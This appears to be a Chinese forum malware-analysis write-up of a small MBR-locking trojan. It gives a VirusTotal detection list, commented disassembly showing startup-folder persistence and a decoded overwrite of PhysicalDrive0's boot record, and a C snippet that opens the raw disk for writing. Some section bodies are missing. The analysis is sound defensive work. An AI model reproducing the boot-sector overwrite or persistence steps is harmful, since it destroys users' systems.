其他
一次上当受骗的样本分析经验
样本sha1: 21766239b79ece18b15a03f4517f3be6ed9c07ed
1 • 前言
今天工作时遇到一个样本，很小，只有4096字节，拖到虚拟机里运行直接退出了，但是在VT里查可以看到很多报毒。
_________________________________________________________________________________|Bkav | W32.AIDetectVM.malware1||Elastic | malicious (high confidence)||MicroWorld-eScan | Trojan.GenericKD.42989135||ALYac | Trojan.GenericKD.42989135||VIPRE | Trojan.Win32.Generic!BT||Sangfor | Malware||K7AntiVirus | Trojan ( 0056483b1 )||BitDefender | Trojan.GenericKD.42989135||K7GW | Trojan ( 0056483b1 )||Cybereason | malicious.9b79ec||BitDefenderTheta | Gen:NN.ZexaF.34152.auW@ay!9nhc||Cyren | W32/Trojan.ETUW-3889||Symantec | ML.Attribute.HighConfidence||APEX | Malicious||Paloalto | generic.ml||Kaspersky | HEUR:Trojan.Win32.Generic||Alibaba | Trojan:Win32/MBRlock.df6e613f||NANO-Antivirus | Trojan.Win32.KillMBR.hjmtoj||AegisLab | Trojan.Win32.Generic.4!c||Tencent | Win32.Trojan.Generic.Ednp||Ad-Aware | Trojan.GenericKD.42989135||F-Secure | Trojan.TR/Ransom.MBRlock.rcdja||DrWeb | Trojan.KillMBR.24847||Zillya | Trojan.MBRlock.Win32.591||Invincea | heuristic||FireEye | Generic.mg.f1ddcdfec9784f92||Sophos | Troj/KillMBR-V||Jiangmin | Trojan.Generic.erchp||Avira | TR/Ransom.MBRlock.rcdja||Fortinet | W32/Generic.BF!tr.ransom||Antiy-AVL | Trojan/Win32.Wacatac||Arcabit | Trojan.Generic.D28FF64F||ViRobot | Trojan.Win32.Z.Wacatac.4096.Q||Microsoft | Trojan:Win32/Occamy.C50||AhnLab-V3 | Malware/Win32.Generic.C4087080||McAfee | RDN/Ransom||MAX | malware (ai score=83)||VBA32 | Trojan.Occamy||Panda | Trj/GdSda.A||ESET-NOD32 | a variant of Win32/MBRlock.BF||Rising | Trojan.MBRlock!8.751 (CLOUD)||Yandex | Trojan.MBRlock!fGxkbNwgCDw||SentinelOne | DFI - Malicious PE||eGambit | Unsafe.AI_Score_99%||GData | Trojan.GenericKD.42989135||AVG | Win32:TrojanX-gen [Trj]||Avast | Win32:TrojanX-gen [Trj]||CrowdStrike | win/malicious_confidence_80% (W)||Qihoo-360 | Generic/HEUR/QVM20.1.8F85.Malware.Gen|---------------------------------------------------------------------------------ESET报了a variant of Win32/MBRlock.BF，看来应该是会改MBR的，但是不知道为什么没有执行成功，而且文件这么小，IDA里打开看了一下也没有明显特征。最后出于谨慎在另一台有反反虚拟机功能的win7虚拟机里执行了一下，没想到竟然真的可以改MBR，而且设置了自动关机和开机自动运行。
于是我认为这个样本可以反虚拟机，而且文件那么小，所以很好奇是怎么写的，决定分析一下。
2 • 详细分析
2.1 反调试
2.2 小总结
2.3 第二部分代码
00405010 60 pushad00405011 6A 04 push 0x400405013 68 00300000 push 0x300000405018 68 00040000 push 0x4000040501D 6A 00 push 0x00040501F FF15 A0304000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; 分配大小为0x400字节的空间00405025 89C6 mov esi,eax00405027 6A 04 push 0x400405029 68 00300000 push 0x30000040502E 68 00040000 push 0x40000405033 6A 00 push 0x000405035 FF15 A0304000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; 再次分配大小为0x400字节的空间0040503B 89C7 mov edi,eax0040503D 85FF test edi,edi ;0040503F 74 79 je short 50fcbf3d.004050BA00405041 85F6 test esi,esi ;00405043 74 75 je short 50fcbf3d.004050BA00405045 68 00020000 push 0x2000040504A 56 push esi ;0040504B 6A 00 push 0x00040504D FF15 98304000 call dword ptr ds:[<&KERNEL32.GetModuleFileNameW>] ; 获得当前程序路径00405053 6A 01 push 0x100405055 6A 07 push 0x700405057 57 push edi ;00405058 6A 00 push 0x00040505A FF15 6C314000 call dword ptr ds:[<&SHELL32.SHGetSpecialFolderPathW>] ; 获得开机启动目录路径00405060 85C0 test eax,eax00405062 74 3A je short 50fcbf3d.0040509E00405064 E8 24000000 call 50fcbf3d.0040508D ; 将本程序复制到开机启动目录00405069 5C pop esp ; 下面是垃圾代码，没什么意义......0040508D 57 push edi ;0040508E FF15 B0304000 call dword ptr ds:[<&KERNEL32.lstrcatW>] ; kernel32.lstrcatW00405094 6A 01 push 0x100405096 57 push edi ;00405097 56 push esi ;00405098 FF15 8C304000 call dword ptr ds:[<&KERNEL32.CopyFileW>] ; kernel32.CopyFileW0040509E 68 00800000 push 0x8000004050A3 6A 00 push 0x0004050A5 56 push esi ;004050A6 FF15 A4304000 call dword ptr ds:[<&KERNEL32.VirtualFree>] ; kernel32.VirtualFree004050AC 68 00800000 push 0x8000004050B1 6A 00 push 0x0004050B3 57 push edi ;004050B4 FF15 A4304000 call dword ptr ds:[<&KERNEL32.VirtualFree>] ; kernel32.VirtualFree004050BA 61 popad004050BB C3 retn2.4 第三部分代码
004050BC 60 pushad004050BD 6A 00 push 0x0004050BF 6A 00 push 0x0004050C1 6A 03 push 0x3004050C3 6A 00 push 0x0004050C5 6A 02 push 0x2004050C7 68 00000040 push 0x40000000004050CC 90 nop004050CD E8 26000000 call 50fcbf3d.004050F8......004050F8 FF15 90304000 call dword ptr ds:[<&KERNEL32.CreateFileW>] ; 打开PhysicalDrive0004050FE 83F8 FF cmp eax,-0x100405101 0F84 B1000000 je 50fcbf3d.004051B800405107 89C6 mov esi,eax00405109 6A 00 push 0x00040510B 54 push esp0040510C FF35 10104000 push dword ptr ds:[0x401010]00405112 FF35 0C104000 push dword ptr ds:[0x40100C] ; 50fcbf3d.004051BA00405118 56 push esi 00405119 68 FF000000 push 0xFF0040511E FF35 10104000 push dword ptr ds:[0x401010]00405124 FF35 0C104000 push dword ptr ds:[0x40100C] 0040512A E8 D3CEFFFF call <50fcbf3d.decode> ; 这里解码获得要写入MBR的数据0040512F FF15 AC304000 call dword ptr ds:[<&KERNEL32.WriteFile>] ; 写入MBR00405135 68 FF000000 push 0xFF0040513A FF35 10104000 push dword ptr ds:[0x401010]00405140 FF35 0C104000 push dword ptr ds:[0x40100C] 00405146 E8 B7CEFFFF call <50fcbf3d.decode> ; 重新编码，恢复解码前数据0040514B 56 push esi 0040514C FF15 88304000 call dword ptr ds:[<&KERNEL32.CloseHandle>] 00405152 6A 00 push 0x000405154 6A 00 push 0x000405156 90 nop00405157 E8 2E000000 call 50fcbf3d.0040518A......0040518A 90 nop0040518B E8 10000000 call 50fcbf3d.004051A0......004051A0 90 nop004051A1 E8 0A000000 call 50fcbf3d.004051B0......004051B0 6A 00 push 0x0004051B2 FF15 70314000 call dword ptr ds:[<&SHELL32.ShellExecuteW>] ; shell32.ShellExecuteW004051B8 61 popad004051B9 C3 retn2.5 MBR分析
3 • 被骗的原因
#include <windows.h>#include <stdio.h>int main() { HANDLE hFile = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (INVALID_HANDLE_VALUE == hFile) { printf("Error id: %d\n", GetLastError()); } return 0;}4 • 总结
看雪ID：LarryS
https://bbs.pediy.com/user-home-600394.htm
*本文由看雪论坛 LarryS 原创，转载请注明来自看雪社区
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”，了解更多！